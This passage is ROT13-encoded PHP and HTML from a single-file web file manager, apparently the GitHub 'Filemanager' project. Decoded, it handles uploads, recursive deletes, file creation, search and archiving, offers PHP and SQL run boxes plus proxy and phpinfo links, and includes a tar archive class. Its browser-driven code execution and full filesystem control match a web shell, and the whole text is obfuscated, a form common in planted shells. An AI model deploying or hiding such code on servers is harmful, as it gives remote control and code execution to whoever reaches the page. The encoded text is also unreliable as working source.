            <vachg glcr="fhozvg" anzr="fnir" inyhr="<?=__('Fhozvg')?>">
        </sbez>
    </gq>
</ge>
</gnoyr>
<?cuc
} ryfr {
//Yrg'f ebpx!
    $zft = '';
    vs(!rzcgl($_SVYRF['hcybnq'])&&!rzcgl($sz_pbasvt['hcybnq_svyr'])) {
        vs(!rzcgl($_SVYRF['hcybnq']['anzr'])){
            $_SVYRF['hcybnq']['anzr'] = fge_ercynpr('%', '', $_SVYRF['hcybnq']['anzr']);
            vs(!zbir_hcybnqrq_svyr($_SVYRF['hcybnq']['gzc_anzr'], $cngu . $_SVYRF['hcybnq']['anzr'])){
                $zft .= __('Reebe bppheerq');
            } ryfr {
				$zft .= __('Svyrf hcybnqrq').': '.$_SVYRF['hcybnq']['anzr'];
			}
        }
    } ryfrvs(!rzcgl($_ERDHRFG['qryrgr'])&&$_ERDHRFG['qryrgr']<>'.') {
        vs(!sz_qry_svyrf(($cngu . $_ERDHRFG['qryrgr']), gehr)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Qryrgrq').' '.$_ERDHRFG['qryrgr'];
		}
	} ryfrvs(!rzcgl($_ERDHRFG['zxqve'])&&!rzcgl($sz_pbasvt['znxr_qverpgbel'])) {
        vs(!@zxqve($cngu . $_ERDHRFG['qveanzr'],0777)) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			$zft .= __('Perngrq').' '.$_ERDHRFG['qveanzr'];
		}
    } ryfrvs(!rzcgl($_CBFG['frnepu_erphefvir'])) {
		vav_frg('znk_rkrphgvba_gvzr', '0');
		$frnepu_qngn =  svaq_grkg_va_svyrf($_CBFG['cngu'], $_CBFG['znfx'], $_CBFG['frnepu_erphefvir']);
		vs(!rzcgl($frnepu_qngn)) {
			$zft .= __('Sbhaq va svyrf').' ('.pbhag($frnepu_qngn).'):<oe>';
			sbernpu ($frnepu_qngn nf $svyranzr) {
				$zft .= '<n uers="'.sz_hey(gehr).'?sz=gehr&rqvg='.onfranzr($svyranzr).'&cngu='.fge_ercynpr('/'.onfranzr($svyranzr),'/',$svyranzr).'" gvgyr="' . __('Rqvg') . '">'.onfranzr($svyranzr).'</n>&aofc; &aofc;';
			}
		} ryfr {
			$zft .= __('Abguvat sbhaqrq');
		}	
	} ryfrvs(!rzcgl($_ERDHRFG['zxsvyr'])&&!rzcgl($sz_pbasvt['arj_svyr'])) {
        vs(!$sc=@sbcra($cngu . $_ERDHRFG['svyranzr'],"j")) {
            $zft .= __('Reebe bppheerq');
        } ryfr {
			spybfr($sc);
			$zft .= __('Perngrq').' '.$_ERDHRFG['svyranzr'];
		}
    } ryfrvs (vffrg($_TRG['mvc'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['mvc']);
		$qrfgvangvba = onfranzr($fbhepr).'.mvc';
		frg_gvzr_yvzvg(0);
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		vs (vf_svyr($qrfgvangvba))
		$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
		'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
		.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '. $qrfgvangvba.'" >'.__('Qryrgr') . '</n>';
		ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['tm'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tm']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		pyrnefgngpnpur();
		frg_gvzr_yvzvg(0);
		//qvr();
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->ohvyqSebzQverpgbel($fbhepr);
		$cune->pbzcerff(Cune::TM,'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}

			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	} ryfrvs (vffrg($_TRG['qrpbzcerff'])) {
		// $fbhepr = onfr64_qrpbqr($_TRG['qrpbzcerff']);
		// $qrfgvangvba = onfranzr($fbhepr);
		// $rkg = raq(rkcybqr(".", $qrfgvangvba));
		// vs ($rkg=='mvc' BE $rkg=='tm') {
			// $cune = arj CuneQngn($fbhepr);
			// $cune->qrpbzcerff();
			// $onfr_svyr = fge_ercynpr('.'.$rkg,'',$qrfgvangvba);
			// $rkg = raq(rkcybqr(".", $onfr_svyr));
			// vs ($rkg=='gne'){
				// $cune = arj CuneQngn($onfr_svyr);
				// $cune->rkgenpgGb(qve($fbhepr));
			// }
		// } 
		// $zft .= __('Gnfx').' "'.__('Qrpbzcerff').' '.$fbhepr.'" '.__('qbar');
	} ryfrvs (vffrg($_TRG['tmsvyr'])) {
		$fbhepr = onfr64_qrpbqr($_TRG['tmsvyr']);
		$nepuvir = $fbhepr.'.gne';
		$qrfgvangvba = onfranzr($fbhepr).'.gne';
		vs (vf_svyr($nepuvir)) hayvax($nepuvir);
		vs (vf_svyr($nepuvir.'.tm')) hayvax($nepuvir.'.tm');
		frg_gvzr_yvzvg(0);
		//rpub $qrfgvangvba;
		$rkg_nee = rkcybqr('.',onfranzr($fbhepr));
		vs (vffrg($rkg_nee[1])) {
			hafrg($rkg_nee[0]);
			$rkg=vzcybqr('.',$rkg_nee);
		} 
		$cune = arj CuneQngn($qrfgvangvba);
		$cune->nqqSvyr($fbhepr);
		$cune->pbzcerff(Cune::TM,$rkg.'.gne.tm');
		hafrg($cune);
		vs (vf_svyr($nepuvir)) {
			vs (vf_svyr($nepuvir.'.tm')) {
				hayvax($nepuvir); 
				$qrfgvangvba .= '.tm';
			}
			$zft .= __('Gnfx').' "'.__('Nepuvivat').' '.$qrfgvangvba.'" '.__('qbar').
			'.&aofc;'.sz_yvax('qbjaybnq',$cngu.$qrfgvangvba,__('Qbjaybnq'),__('Qbjaybnq').' '. $qrfgvangvba)
			.'&aofc;<n uers="'.$hey_vap.'&qryrgr='.$qrfgvangvba.'&cngu=' . $cngu.'" gvgyr="'.__('Qryrgr').' '.$qrfgvangvba.'" >'.__('Qryrgr').'</n>';
		} ryfr $zft .= __('Reebe bppheerq').': '.__('ab svyrf');
	}
?>
<gnoyr pynff="jubyr" vq="urnqre_gnoyr" >
<ge>
    <gu pbyfcna="2"><?=__('Svyr znantre')?><?=(!rzcgl($cngu)?' - '.$cngu:'')?></gu>
</ge>
<?cuc vs(!rzcgl($zft)){ ?>
<ge>
	<gq pbyfcna="2" pynff="ebj2"><?=$zft?></gq>
</ge>
<?cuc } ?>
<ge>
    <gq pynff="ebj2">
		<gnoyr>
			<ge>
			<gq>
				<?=sz_ubzr()?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['znxr_qverpgbel'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" anzr="qveanzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxqve" inyhr="<?=__('Znxr qverpgbel')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
			<?cuc vs(!rzcgl($sz_pbasvt['arj_svyr'])) { ?>
				<sbez zrgubq="cbfg" npgvba="<?=$hey_vap?>">
				<vachg glcr="uvqqra" anzr="cngu"     inyhr="<?=$cngu?>" />
				<vachg glcr="grkg"   anzr="svyranzr" fvmr="15">
				<vachg glcr="fhozvg" anzr="zxsvyr"   inyhr="<?=__('Arj svyr')?>">
				</sbez>
			<?cuc } ?>
			</gq>
			<gq>
				<sbez  zrgubq="cbfg" npgvba="<?=$hey_vap?>" fglyr="qvfcynl:vayvar">
				<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
				<vachg glcr="grkg" cynprubyqre="<?=__('Erphefvir frnepu')?>" anzr="frnepu_erphefvir" inyhr="<?=!rzcgl($_CBFG['frnepu_erphefvir'])?$_CBFG['frnepu_erphefvir']:''?>" fvmr="15">
				<vachg glcr="grkg" anzr="znfx" cynprubyqre="<?=__('Znfx')?>" inyhr="<?=!rzcgl($_CBFG['znfx'])?$_CBFG['znfx']:'*.*'?>" fvmr="5">
				<vachg glcr="fhozvg" anzr="frnepu" inyhr="<?=__('Frnepu')?>">
				</sbez>
			</gq>
			<gq>
			<?=sz_eha_vachg('cuc')?>
			</gq>
			<gq>
			<?=sz_eha_vachg('fdy')?>
			</gq>
			</ge>
		</gnoyr>
    </gq>
    <gq pynff="ebj3">
		<gnoyr>
		<ge>
		<gq>
		<?cuc vs (!rzcgl($sz_pbasvt['hcybnq_svyr'])) { ?>
			<sbez anzr="sbez1" zrgubq="cbfg" npgvba="<?=$hey_vap?>" rapglcr="zhygvcneg/sbez-qngn">
			<vachg glcr="uvqqra" anzr="cngu" inyhr="<?=$cngu?>" />
			<vachg glcr="svyr" anzr="hcybnq" vq="hcybnq_uvqqra" fglyr="cbfvgvba: nofbyhgr; qvfcynl: oybpx; biresybj: uvqqra; jvqgu: 0; urvtug: 0; obeqre: 0; cnqqvat: 0;" bapunatr="qbphzrag.trgRyrzragOlVq('hcybnq_ivfvoyr').inyhr = guvf.inyhr;" />
			<vachg glcr="grkg" ernqbayl="1" vq="hcybnq_ivfvoyr" cynprubyqre="<?=__('Fryrpg gur svyr')?>" fglyr="phefbe: cbvagre;" bapyvpx="qbphzrag.trgRyrzragOlVq('hcybnq_uvqqra').pyvpx();" />
			<vachg glcr="fhozvg" anzr="grfg" inyhr="<?=__('Hcybnq')?>" />
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?cuc vs ($nhgu['nhgubevmr']) { ?>
			<sbez npgvba="" zrgubq="cbfg">&aofc;&aofc;&aofc;
			<vachg anzr="dhvg" glcr="uvqqra" inyhr="1">
			<?=__('Uryyb')?>, <?=$nhgu['ybtva']?>
			<vachg glcr="fhozvg" inyhr="<?=__('Dhvg')?>">
			</sbez>
		<?cuc } ?>
		</gq>
		<gq>
		<?=sz_ynat_sbez($ynathntr)?>
		</gq>
		<ge>
		</gnoyr>
    </gq>
</ge>
</gnoyr>
<gnoyr pynff="nyy" obeqre='0' pryyfcnpvat='1' pryycnqqvat='1' vq="sz_gnoyr" jvqgu="100%">
<gurnq>
<ge> 
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Svyranzr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Fvmr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Qngr')?> </gu>
    <gu fglyr="juvgr-fcnpr:abjenc"> <?=__('Evtugf')?> </gu>
    <gu pbyfcna="4" fglyr="juvgr-fcnpr:abjenc"> <?=__('Znantr')?> </gu>
</ge>
</gurnq>
<gobql>
<?cuc
$ryrzragf = sz_fpna_qve($cngu, '', 'nyy', gehr);
$qvef = neenl();
$svyrf = neenl();
sbernpu ($ryrzragf nf $svyr){
    vs(@vf_qve($cngu . $svyr)){
        $qvef[] = $svyr;
    } ryfr {
        $svyrf[] = $svyr;
    }
}
angfbeg($qvef); angfbeg($svyrf);
$ryrzragf = neenl_zretr($qvef, $svyrf);

sbernpu ($ryrzragf nf $svyr){
    $svyranzr = $cngu . $svyr;
    $svyrqngn = @fgng($svyranzr);
    vs(@vf_qve($svyranzr)){
		$svyrqngn[7] = '';
		vs (!rzcgl($sz_pbasvt['fubj_qve_fvmr'])&&!sz_ebbg($svyr)) $svyrqngn[7] = sz_qve_fvmr($svyranzr);
        $yvax = '<n uers="'.$hey_vap.'&cngu='.$cngu.$svyr.'" gvgyr="'.__('Fubj').' '.$svyr.'"><fcna pynff="sbyqre">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
        $ybnqyvax= (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('mvc',$svyranzr,__('Pbzcerff').'&aofc;mvc',__('Nepuvivat').' '. $svyr);
		$neyvax  = (sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tm',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '.$svyr);
        $fglyr = 'ebj2';
		 vs (!sz_ebbg($svyr)) $nyreg = 'baPyvpx="vs(pbasvez(\'' . __('Ner lbh fher lbh jnag gb qryrgr guvf qverpgbel (erphefviryl)?').'\a /'. $svyr. '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"'; ryfr $nyreg = '';
    } ryfr {
		$yvax = 
			$sz_pbasvt['fubj_vzt']&&@trgvzntrfvmr($svyranzr) 
			? '<n gnetrg="_oynax" bapyvpx="ine yrsgb = fperra.ninvyJvqgu/2-320;jvaqbj.bcra(\''
			. sz_vzt_yvax($svyranzr)
			.'\',\'cbchc\',\'jvqgu=640,urvtug=480,yrsg=\' + yrsgb + \',fpebyyonef=lrf,gbbyone=ab,ybpngvba=ab,qverpgbevrf=ab,fgnghf=ab\');erghea snyfr;" uers="'.sz_vzt_yvax($svyranzr).'"><fcna pynff="vzt">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>'
			: '<n uers="' . $hey_vap . '&rqvg=' . $svyr . '&cngu=' . $cngu. '" gvgyr="' . __('Rqvg') . '"><fcna pynff="svyr">&aofc;&aofc;&aofc;&aofc;</fcna> '.$svyr.'</n>';
		$r_nee = rkcybqr(".", $svyr);
		$rkg = raq($r_nee);
        $ybnqyvax =  sz_yvax('qbjaybnq',$svyranzr,__('Qbjaybnq'),__('Qbjaybnq').' '. $svyr);
		$neyvax = va_neenl($rkg,neenl('mvc','tm','gne')) 
		? ''
		: ((sz_ebbg($svyr)||$cune_znlor) ? '' : sz_yvax('tmsvyr',$svyranzr,__('Pbzcerff').'&aofc;.gne.tm',__('Nepuvivat').' '. $svyr));
        $fglyr = 'ebj1';
		$nyreg = 'baPyvpx="vs(pbasvez(\''. __('Svyr fryrpgrq').': \a'. $svyr. '. \a'.__('Ner lbh fher lbh jnag gb qryrgr guvf svyr?') . '\')) qbphzrag.ybpngvba.uers = \'' . $hey_vap . '&qryrgr=' . $svyr . '&cngu=' . $cngu  . '\'"';
    }
    $qryrgryvax = sz_ebbg($svyr) ? '' : '<n uers="#" gvgyr="' . __('Qryrgr') . ' '. $svyr . '" ' . $nyreg . '>' . __('Qryrgr') . '</n>';
    $eranzryvax = sz_ebbg($svyr) ? '' : '<n uers="' . $hey_vap . '&eranzr=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Eranzr') .' '. $svyr . '">' . __('Eranzr') . '</n>';
    $evtugfgrkg = ($svyr=='.' || $svyr=='..') ? '' : '<n uers="' . $hey_vap . '&evtugf=' . $svyr . '&cngu=' . $cngu . '" gvgyr="' . __('Evtugf') .' '. $svyr . '">' . @sz_evtugf_fgevat($svyranzr) . '</n>';
?>
<ge pynff="<?=$fglyr?>"> 
    <gq><?=$yvax?></gq>
    <gq><?=$svyrqngn[7]?></gq>
    <gq fglyr="juvgr-fcnpr:abjenc"><?=tzqngr("L-z-q U:v:f",$svyrqngn[9])?></gq>
    <gq><?=$evtugfgrkg?></gq>
    <gq><?=$qryrgryvax?></gq>
    <gq><?=$eranzryvax?></gq>
    <gq><?=$ybnqyvax?></gq>
    <gq><?=$neyvax?></gq>
</ge>
<?cuc
    }
}
?>
</gobql>
</gnoyr>
<qvi pynff="ebj3"><?cuc
	$zgvzr = rkcybqr(' ', zvpebgvzr()); 
	$gbgnygvzr = $zgvzr[0] + $zgvzr[1] - $fgneggvzr; 
	rpub sz_ubzr().' | ire. '.$sz_irefvba.' | <n uers="uggcf://tvguho.pbz/Qra1kkk/Svyrznantre">Tvguho</n>  | <n uers="'.sz_fvgr_hey().'">.</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cuc_ire'])) rpub ' | CUC '.cucirefvba();
	vs (!rzcgl($sz_pbasvt['fubj_cuc_vav'])) rpub ' | '.cuc_vav_ybnqrq_svyr();
	vs (!rzcgl($sz_pbasvt['fubj_tg'])) rpub ' | '.__('Trarengvba gvzr').': '.ebhaq($gbgnygvzr,2);
	vs (!rzcgl($sz_pbasvt['ranoyr_cebkl'])) rpub ' | <n uers="?cebkl=gehr">cebkl</n>';
	vs (!rzcgl($sz_pbasvt['fubj_cucvasb'])) rpub ' | <n uers="?cucvasb=gehr">cucvasb</n>';
	vs (!rzcgl($sz_pbasvt['fubj_kyf'])&&!rzcgl($yvax)) rpub ' | <n uers="wninfpevcg: ibvq(0)" bapyvpx="ine bow = arj gnoyr2Rkpry(); bow.PerngrRkpryFurrg(\'sz_gnoyr\',\'rkcbeg\');" gvgyr="'.__('Qbjaybnq').' kyf">kyf</n>';
	vs (!rzcgl($sz_pbasvt['sz_frggvatf'])) rpub ' | <n uers="?sz_frggvatf=gehr">'.__('Frggvatf').'</n>';
	?>
</qvi>
<fpevcg glcr="grkg/wninfpevcg">
shapgvba qbjaybnq_kyf(svyranzr, grkg) {
	ine ryrzrag = qbphzrag.perngrRyrzrag('n');
	ryrzrag.frgNggevohgr('uers', 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,' + grkg);
	ryrzrag.frgNggevohgr('qbjaybnq', svyranzr);
	ryrzrag.fglyr.qvfcynl = 'abar';
	qbphzrag.obql.nccraqPuvyq(ryrzrag);
	ryrzrag.pyvpx();
	qbphzrag.obql.erzbirPuvyq(ryrzrag);
}

shapgvba onfr64_rapbqr(z) {
	sbe (ine x = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm0123456789+/".fcyvg(""), p, q, u, r, n, t = "", o = 0, s, y = 0; y < z.yratgu; ++y) {
		p = z.punePbqrNg(y);
		vs (128 > p) q = 1;
		ryfr
			sbe (q = 2; p >= 2 << 5 * q;) ++q;
		sbe (u = 0; u < q; ++u) 1 == q ? r = p : (r = u ? 128 : 192, n = q - 2 - 6 * u, 0 <= n && (r += (6 <= n ? 1 : 0) + (5 <= n ? 2 : 0) + (4 <= n ? 4 : 0) + (3 <= n ? 8 : 0) + (2 <= n ? 16 : 0) + (1 <= n ? 32 : 0), n -= 5), 0 > n && (h = 6 * (q - 1 - u), r += p >> h, p -= p >> h << h)), s = o ? s << 6 - o : 0, o += 2, s += r >> o, t += x[s], s = r % (1 << o), 6 == o && (o = 0, t += x[s])
	}
	o && (t += x[s << 6 - o]);
	erghea t
}


ine gnoyrGbRkpryQngn = (shapgvba() {
    ine hev = 'qngn:nccyvpngvba/iaq.zf-rkpry;onfr64,',
    grzcyngr = '<ugzy kzyaf:b="hea:fpurznf-zvpebfbsg-pbz:bssvpr:bssvpr" kzyaf:k="hea:fpurznf-zvpebfbsg-pbz:bssvpr:rkpry" kzyaf="uggc://jjj.j3.bet/GE/ERP-ugzy40"><urnq><!--[vs tgr zfb 9]><kzy><k:RkpryJbexobbx><k:RkpryJbexfurrgf><k:RkpryJbexfurrg><k:Anzr>{jbexfurrg}</k:Anzr><k:JbexfurrgBcgvbaf><k:QvfcynlTevqyvarf></k:QvfcynlTevqyvarf></k:JbexfurrgBcgvbaf></k:RkpryJbexfurrg></k:RkpryJbexfurrgf></k:RkpryJbexobbx></kzy><![raqvs]--><zrgn uggc-rdhvi="pbagrag-glcr" pbagrag="grkg/cynva; punefrg=HGS-8"/></urnq><obql><gnoyr>{gnoyr}</gnoyr></obql></ugzy>',
    sbezng = shapgvba(f, p) {
            erghea f.ercynpr(/{(\j+)}/t, shapgvba(z, c) {
                erghea p[c];
            })
        }
    erghea shapgvba(gnoyr, anzr) {
        vs (!gnoyr.abqrGlcr) gnoyr = qbphzrag.trgRyrzragOlVq(gnoyr)
        ine pgk = {
            jbexfurrg: anzr || 'Jbexfurrg',
            gnoyr: gnoyr.vaareUGZY.ercynpr(/<fcna(.*?)\/fcna> /t,"").ercynpr(/<n\o[^>]*>(.*?)<\/n>/t,"$1")
        }
		g = arj Qngr();
		svyranzr = 'sz_' + g.gbVFBFgevat() + '.kyf'
		qbjaybnq_kyf(svyranzr, onfr64_rapbqr(sbezng(grzcyngr, pgk)))
    }
})();

ine gnoyr2Rkpry = shapgvba () {

    ine hn = jvaqbj.anivtngbe.hfreNtrag;
    ine zfvr = hn.vaqrkBs("ZFVR ");

	guvf.PerngrRkpryFurrg = 
		shapgvba(ry, anzr){
			vs (zfvr > 0 || !!anivtngbe.hfreNtrag.zngpu(/Gevqrag.*ei\:11\./)) {// Vs Vagrearg Rkcybere

				ine k = qbphzrag.trgRyrzragOlVq(ry).ebjf;

				ine kyf = arj NpgvirKBowrpg("Rkpry.Nccyvpngvba");

				kyf.ivfvoyr = gehr;
				kyf.Jbexobbxf.Nqq
				sbe (v = 0; v < k.yratgu; v++) {
					ine l = k[v].pryyf;

					sbe (w = 0; w < l.yratgu; w++) {
						kyf.Pryyf(v + 1, w + 1).Inyhr = l[w].vaareGrkg;
					}
				}
				kyf.Ivfvoyr = gehr;
				kyf.HfrePbageby = gehr;
				erghea kyf;
			} ryfr {
				gnoyrGbRkpryQngn(ry, anzr);
			}
		}
}
</fpevcg>
</obql>
</ugzy>

<?cuc
//Cbegrq sebz ErybnqPZF cebwrpg uggc://erybnqpzf.pbz
pynff nepuvirGne {
	ine $nepuvir_anzr = '';
	ine $gzc_svyr = 0;
	ine $svyr_cbf = 0;
	ine $vfTmvccrq = gehr;
	ine $reebef = neenl();
	ine $svyrf = neenl();
	
	shapgvba __pbafgehpg(){
		vs (!vffrg($guvf->reebef)) $guvf->reebef = neenl();
	}
	
	shapgvba perngrNepuvir($svyr_yvfg){
		$erfhyg = snyfr;
		vs (svyr_rkvfgf($guvf->nepuvir_anzr) && vf_svyr($guvf->nepuvir_anzr)) 	$arjNepuvir = snyfr;
		ryfr $arjNepuvir = gehr;
		vs ($arjNepuvir){
			vs (!$guvf->bcraJevgr()) erghea snyfr;
		} ryfr {
			vs (svyrfvmr($guvf->nepuvir_anzr) == 0)	erghea $guvf->bcraJevgr();
			vs ($guvf->vfTmvccrq) {
				$guvf->pybfrGzcSvyr();
				vs (!eranzr($guvf->nepuvir_anzr, $guvf->nepuvir_anzr.'.gzc')){
					$guvf->reebef[] = __('Pnaabg eranzr').' '.$guvf->nepuvir_anzr.__(' gb ').$guvf->nepuvir_anzr.'.gzc';
					erghea snyfr;
				}
				$gzcNepuvir = tmbcra($guvf->nepuvir_anzr.'.gzc', 'eo');
				vs (!$gzcNepuvir){
					$guvf->reebef[] = $guvf->nepuvir_anzr.'.gzc '.__('vf abg ernqnoyr');
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				vs (!$guvf->bcraJevgr()){
					eranzr($guvf->nepuvir_anzr.'.gzc', $guvf->nepuvir_anzr);
					erghea snyfr;
				}
				$ohssre = tmernq($gzcNepuvir, 512);
				vs (!tmrbs($gzcNepuvir)){
					qb {
						$ovanelQngn = cnpx('n512', $ohssre);
						$guvf->jevgrOybpx($ovanelQngn);
						$ohssre = tmernq($gzcNepuvir, 512);
					}
					juvyr (!tmrbs($gzcNepuvir));
				}
				tmpybfr($gzcNepuvir);
				hayvax($guvf->nepuvir_anzr.'.gzc');
			} ryfr {
				$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'e+o');
				vs (!$guvf->gzc_svyr)	erghea snyfr;
			}
		}
		vs (vffrg($svyr_yvfg) && vf_neenl($svyr_yvfg)) {
		vs (pbhag($svyr_yvfg)>0)
			$erfhyg = $guvf->cnpxSvyrNeenl($svyr_yvfg);
		} ryfr $guvf->reebef[] = __('Ab svyr').__(' gb ').__('Nepuvir');
		vs (($erfhyg)&&(vf_erfbhepr($guvf->gzc_svyr))){
			$ovanelQngn = cnpx('n512', '');
			$guvf->jevgrOybpx($ovanelQngn);
		}
		$guvf->pybfrGzcSvyr();
		vs ($arjNepuvir && !$erfhyg){
		$guvf->pybfrGzcSvyr();
		hayvax($guvf->nepuvir_anzr);
		}
		erghea $erfhyg;
	}

	shapgvba erfgberNepuvir($cngu){
		$svyrAnzr = $guvf->nepuvir_anzr;
		vs (!$guvf->vfTmvccrq){
			vs (svyr_rkvfgf($svyrAnzr)){
				vs ($sc = sbcra($svyrAnzr, 'eo')){
					$qngn = sernq($sc, 2);
					spybfr($sc);
					vs ($qngn == '\37\213'){
						$guvf->vfTmvccrq = gehr;
					}
				}
			}
			ryfrvs ((fhofge($svyrAnzr, -2) == 'tm') BE (fhofge($svyrAnzr, -3) == 'gtm')) $guvf->vfTmvccrq = gehr;
		} 
		$erfhyg = gehr;
		vs ($guvf->vfTmvccrq) $guvf->gzc_svyr = tmbcra($svyrAnzr, 'eo');
		ryfr $guvf->gzc_svyr = sbcra($svyrAnzr, 'eo');
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = $svyrAnzr.' '.__('vf abg ernqnoyr');
			erghea snyfr;
		}
		$erfhyg = $guvf->hacnpxSvyrNeenl($cngu);
			$guvf->pybfrGzcSvyr();
		erghea $erfhyg;
	}

	shapgvba fubjReebef	($zrffntr = '') {
		$Reebef = $guvf->reebef;
		vs(pbhag($Reebef)>0) {
		vs (!rzcgl($zrffntr)) $zrffntr = ' ('.$zrffntr.')';
			$zrffntr = __('Reebe bppheerq').$zrffntr.': <oe/>';
			sbernpu ($Reebef nf $inyhr)
				$zrffntr .= $inyhr.'<oe/>';
			erghea $zrffntr;	
		} ryfr erghea '';
		
	}
	
	shapgvba cnpxSvyrNeenl($svyr_neenl){
		$erfhyg = gehr;
		vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
		}
		vs (!vf_neenl($svyr_neenl) || pbhag($svyr_neenl)<=0)
          erghea gehr;
		sbe ($v = 0; $v<pbhag($svyr_neenl); $v++){
			$svyranzr = $svyr_neenl[$v];
			vs ($svyranzr == $guvf->nepuvir_anzr)
				pbagvahr;
			vs (fgeyra($svyranzr)<=0)
				pbagvahr;
			vs (!svyr_rkvfgf($svyranzr)){
				$guvf->reebef[] = __('Ab svyr').' '.$svyranzr;
				pbagvahr;
			}
			vs (!$guvf->gzc_svyr){
			$guvf->reebef[] = __('Vainyvq svyr qrfpevcgbe');
			erghea snyfr;
			}
		vs (fgeyra($svyranzr)<=0){
			$guvf->reebef[] = __('Svyranzr').' '.__('vf vapbeerpg');;
			erghea snyfr;
		}
		$svyranzr = fge_ercynpr('\\', '/', $svyranzr);
		$xrrc_svyranzr = $guvf->znxrTbbqCngu($svyranzr);
		vs (vf_svyr($svyranzr)){
			vs (($svyr = sbcra($svyranzr, 'eo')) == 0){
				$guvf->reebef[] = __('Zbqr ').__('vf vapbeerpg');
			}
				vs(($guvf->svyr_cbf == 0)){
					vs(!$guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr))
						erghea snyfr;
				}
				juvyr (($ohssre = sernq($svyr, 512)) != ''){
					$ovanelQngn = cnpx('n512', $ohssre);
					$guvf->jevgrOybpx($ovanelQngn);
				}
			spybfr($svyr);
		}	ryfr $guvf->jevgrUrnqre($svyranzr, $xrrc_svyranzr);
			vs (@vf_qve($svyranzr)){
				vs (!($unaqyr = bcraqve($svyranzr))){
					$guvf->reebef[] = __('Reebe').': '.__('Qverpgbel ').$svyranzr.__('vf abg ernqnoyr');
					pbagvahr;
				}
				juvyr (snyfr !== ($qve = ernqqve($unaqyr))){
					vs ($qve!='.' && $qve!='..'){
						$svyr_neenl_gzc = neenl();
						vs ($svyranzr != '.')
							$svyr_neenl_gzc[] = $svyranzr.'/'.$qve;
						ryfr
							$svyr_neenl_gzc[] = $qve;

						$erfhyg = $guvf->cnpxSvyrNeenl($svyr_neenl_gzc);
					}
				}
				hafrg($svyr_neenl_gzc);
				hafrg($qve);
				hafrg($unaqyr);
			}
		}
		erghea $erfhyg;
	}

	shapgvba hacnpxSvyrNeenl($cngu){ 
		$cngu = fge_ercynpr('\\', '/', $cngu);
		vs ($cngu == ''	|| (fhofge($cngu, 0, 1) != '/' && fhofge($cngu, 0, 3) != '../' && !fgecbf($cngu, ':')))	$cngu = './'.$cngu;
		pyrnefgngpnpur();
		juvyr (fgeyra($ovanelQngn = $guvf->ernqOybpx()) != 0){
			vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
			vs ($urnqre['svyranzr'] == '') pbagvahr;
			vs ($urnqre['glcrsynt'] == 'Y'){			//ernqvat ybat urnqre
				$svyranzr = '';
				$qrpe = sybbe($urnqre['fvmr']/512);
				sbe ($v = 0; $v < $qrpe; $v++){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= $pbagrag;
				}
				vs (($ynfcvrpr = $urnqre['fvmr'] % 512) != 0){
					$pbagrag = $guvf->ernqOybpx();
					$svyranzr .= fhofge($pbagrag, 0, $ynfcvrpr);
				}
				$ovanelQngn = $guvf->ernqOybpx();
